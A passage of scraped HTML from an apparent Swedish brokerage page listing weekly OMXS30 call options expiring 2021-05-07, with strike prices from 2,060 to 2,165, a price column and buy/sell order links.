OMXS301E07Y2060</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 060,00</td>
<td class="overview noSort">5,36</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209857" data-instrument_id="1212759"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209856"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209856/omxs301e07y2065"
title="Köp optioner i OMXS301E07Y2065"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209856/omxs301e07y2065"
title="Sälj optioner i OMXS301E07Y2065"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209856/omxs301e07y2065" class="link" title="OMXS301E07Y2065">
OMXS301E07Y2065</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 065,00</td>
<td class="overview noSort">5,51</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209856" data-instrument_id="1212758"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209855"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209855/omxs301e07y2070"
title="Köp optioner i OMXS301E07Y2070"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209855/omxs301e07y2070"
title="Sälj optioner i OMXS301E07Y2070"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209855/omxs301e07y2070" class="link" title="OMXS301E07Y2070">
OMXS301E07Y2070</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 070,00</td>
<td class="overview noSort">5,67</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209855" data-instrument_id="1212757"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209854"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209854/omxs301e07y2075"
title="Köp optioner i OMXS301E07Y2075"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209854/omxs301e07y2075"
title="Sälj optioner i OMXS301E07Y2075"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209854/omxs301e07y2075" class="link" title="OMXS301E07Y2075">
OMXS301E07Y2075</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 075,00</td>
<td class="overview noSort">6,31</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209854" data-instrument_id="1212756"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209853"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209853/omxs301e07y2080"
title="Köp optioner i OMXS301E07Y2080"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209853/omxs301e07y2080"
title="Sälj optioner i OMXS301E07Y2080"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209853/omxs301e07y2080" class="link" title="OMXS301E07Y2080">
OMXS301E07Y2080</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 080,00</td>
<td class="overview noSort">5,86</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209853" data-instrument_id="1212755"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209852"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209852/omxs301e07y2085"
title="Köp optioner i OMXS301E07Y2085"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209852/omxs301e07y2085"
title="Sälj optioner i OMXS301E07Y2085"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209852/omxs301e07y2085" class="link" title="OMXS301E07Y2085">
OMXS301E07Y2085</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 085,00</td>
<td class="overview noSort">6,05</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209852" data-instrument_id="1212754"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209851"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209851/omxs301e07y2090"
title="Köp optioner i OMXS301E07Y2090"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209851/omxs301e07y2090"
title="Sälj optioner i OMXS301E07Y2090"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209851/omxs301e07y2090" class="link" title="OMXS301E07Y2090">
OMXS301E07Y2090</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 090,00</td>
<td class="overview noSort">6,42</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209851" data-instrument_id="1212753"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209850"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209850/omxs301e07y2095"
title="Köp optioner i OMXS301E07Y2095"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209850/omxs301e07y2095"
title="Sälj optioner i OMXS301E07Y2095"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209850/omxs301e07y2095" class="link" title="OMXS301E07Y2095">
OMXS301E07Y2095</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 095,00</td>
<td class="overview noSort">6,64</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209850" data-instrument_id="1212752"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209849"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209849/omxs301e07y2100"
title="Köp optioner i OMXS301E07Y2100"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209849/omxs301e07y2100"
title="Sälj optioner i OMXS301E07Y2100"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209849/omxs301e07y2100" class="link" title="OMXS301E07Y2100">
OMXS301E07Y2100</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 100,00</td>
<td class="overview noSort">6,87</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209849" data-instrument_id="1212751"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209848"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209848/omxs301e07y2105"
title="Köp optioner i OMXS301E07Y2105"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209848/omxs301e07y2105"
title="Sälj optioner i OMXS301E07Y2105"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209848/omxs301e07y2105" class="link" title="OMXS301E07Y2105">
OMXS301E07Y2105</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 105,00</td>
<td class="overview noSort">7,12</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209848" data-instrument_id="1212750"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209847"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209847/omxs301e07y2110"
title="Köp optioner i OMXS301E07Y2110"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209847/omxs301e07y2110"
title="Sälj optioner i OMXS301E07Y2110"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209847/omxs301e07y2110" class="link" title="OMXS301E07Y2110">
OMXS301E07Y2110</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 110,00</td>
<td class="overview noSort">7,39</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209847" data-instrument_id="1212749"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209846"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209846/omxs301e07y2115"
title="Köp optioner i OMXS301E07Y2115"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209846/omxs301e07y2115"
title="Sälj optioner i OMXS301E07Y2115"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209846/omxs301e07y2115" class="link" title="OMXS301E07Y2115">
OMXS301E07Y2115</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 115,00</td>
<td class="overview noSort">7,68</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209846" data-instrument_id="1212748"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209845"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209845/omxs301e07y2120"
title="Köp optioner i OMXS301E07Y2120"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209845/omxs301e07y2120"
title="Sälj optioner i OMXS301E07Y2120"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209845/omxs301e07y2120" class="link" title="OMXS301E07Y2120">
OMXS301E07Y2120</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 120,00</td>
<td class="overview noSort">8,39</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209845" data-instrument_id="1212747"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209844"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209844/omxs301e07y2125"
title="Köp optioner i OMXS301E07Y2125"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209844/omxs301e07y2125"
title="Sälj optioner i OMXS301E07Y2125"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209844/omxs301e07y2125" class="link" title="OMXS301E07Y2125">
OMXS301E07Y2125</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 125,00</td>
<td class="overview noSort">8,96</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209844" data-instrument_id="1212746"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209843"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209843/omxs301e07y2130"
title="Köp optioner i OMXS301E07Y2130"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209843/omxs301e07y2130"
title="Sälj optioner i OMXS301E07Y2130"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209843/omxs301e07y2130" class="link" title="OMXS301E07Y2130">
OMXS301E07Y2130</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 130,00</td>
<td class="overview noSort">8,93</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209843" data-instrument_id="1212745"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209842"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209842/omxs301e07y2135"
title="Köp optioner i OMXS301E07Y2135"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209842/omxs301e07y2135"
title="Sälj optioner i OMXS301E07Y2135"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209842/omxs301e07y2135" class="link" title="OMXS301E07Y2135">
OMXS301E07Y2135</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 135,00</td>
<td class="overview noSort">8,90</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209842" data-instrument_id="1212744"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209841"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209841/omxs301e07y2140"
title="Köp optioner i OMXS301E07Y2140"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209841/omxs301e07y2140"
title="Sälj optioner i OMXS301E07Y2140"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209841/omxs301e07y2140" class="link" title="OMXS301E07Y2140">
OMXS301E07Y2140</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 140,00</td>
<td class="overview noSort">9,55</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209841" data-instrument_id="1212743"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209840"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209840/omxs301e07y2145"
title="Köp optioner i OMXS301E07Y2145"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209840/omxs301e07y2145"
title="Sälj optioner i OMXS301E07Y2145"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209840/omxs301e07y2145" class="link" title="OMXS301E07Y2145">
OMXS301E07Y2145</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 145,00</td>
<td class="overview noSort">10,04</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209840" data-instrument_id="1212742"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209839"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209839/omxs301e07y2150"
title="Köp optioner i OMXS301E07Y2150"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209839/omxs301e07y2150"
title="Sälj optioner i OMXS301E07Y2150"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209839/omxs301e07y2150" class="link" title="OMXS301E07Y2150">
OMXS301E07Y2150</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 150,00</td>
<td class="overview noSort">10,58</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209839" data-instrument_id="1212741"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209838"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209838/omxs301e07y2155"
title="Köp optioner i OMXS301E07Y2155"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209838/omxs301e07y2155"
title="Sälj optioner i OMXS301E07Y2155"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209838/omxs301e07y2155" class="link" title="OMXS301E07Y2155">
OMXS301E07Y2155</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 155,00</td>
<td class="overview noSort">10,89</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209838" data-instrument_id="1212740"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209837"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209837/omxs301e07y2160"
title="Köp optioner i OMXS301E07Y2160"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209837/omxs301e07y2160"
title="Sälj optioner i OMXS301E07Y2160"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209837/omxs301e07y2160" class="link" title="OMXS301E07Y2160">
OMXS301E07Y2160</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 160,00</td>
<td class="overview noSort">11,20</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209837" data-instrument_id="1212739"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209836"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209836/omxs301e07y2165"
title="Köp optioner i OMXS301E07Y2165"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209836/omxs301e07y2165"
title="Sälj optioner i OMXS301E07Y2165"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209836/omxs301e07y2165" class="link" title="OMXS301E07Y2165">
OMXS301E07Y2165</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 165,00</td>
